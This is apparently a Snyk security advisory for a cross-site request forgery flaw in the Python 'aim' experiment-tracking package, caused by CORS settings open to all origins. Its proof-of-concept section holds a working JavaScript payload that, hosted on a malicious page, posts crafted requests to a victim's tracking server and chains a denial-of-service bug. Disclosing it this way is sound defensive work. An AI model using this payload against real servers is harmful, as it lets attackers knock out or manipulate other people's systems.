Cross-site Request Forgery (CSRF) Affecting aim package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-AIM-9637809
  • published3 Apr 2025
  • disclosed20 Mar 2025
  • creditpatrik-ha

Introduced: 20 Mar 2025

NewCVE-2024-7760  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

There is no fixed version for aim.

Overview

aim is a super-easy way to record, search and compare AI experiments.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to overly permissive CORS settings that allow cross-origin requests from all origins. An attacker can manipulate the state of the application by sending malicious requests from a browser that the victim has authenticated with.

PoC

  1. Start the tracking server by running the following commands:
aim init
aim server
  1. Host the following payload on a malicious website:
<script>
    const trackingServer = "http://x.x.x.x:53800/";
    const resourceEndpoint = "tracking/client_1/get-resource";
    const instructionEndpoint = "tracking/client_1/read-instruction";

const req = new XMLHttpRequest();
// This chains https://huntr.com/bounties/abcea7c6-bb3b-45e9-aa15-9eb6b224451a, causing
// denial of service. But it could in practice chain any other existing vulnerability,
// or just regular endpoint behaviour.

req.open(&quot;POST&quot;, trackingServer + resourceEndpoint);
req.send(JSON.stringify({
    &quot;resource_handler&quot;: &quot;my_resource&quot;,
    &quot;resource_type&quot;: &quot;Repo&quot;,
    &quot;args&quot;: &quot;AAAAAAABAAAABw==&quot;
}));

// A bit lazy, just make sure to do this request *after* the first one is complete.
setTimeout(() =&gt; {
    const req = new XMLHttpRequest();
    req.open(&quot;POST&quot;, trackingServer + instructionEndpoint);
    req.send(JSON.stringify({
        &quot;resource_handler&quot;: &quot;my_resource&quot;,
        &quot;method_name&quot;: &quot;from_path&quot;,
        &quot;args&quot;: &quot;AAAAAAABAAAABgoAAAD+AAAAAAAAAAD+ABQAAAAEYWltOi8vMC4wLjAuMDo1MzgwMA==&quot;
    }));
}, 1000)

</script>

  1. Visit the website with the machine running the tracking server.

References

CVSS Base Scores

version 4.0
version 3.1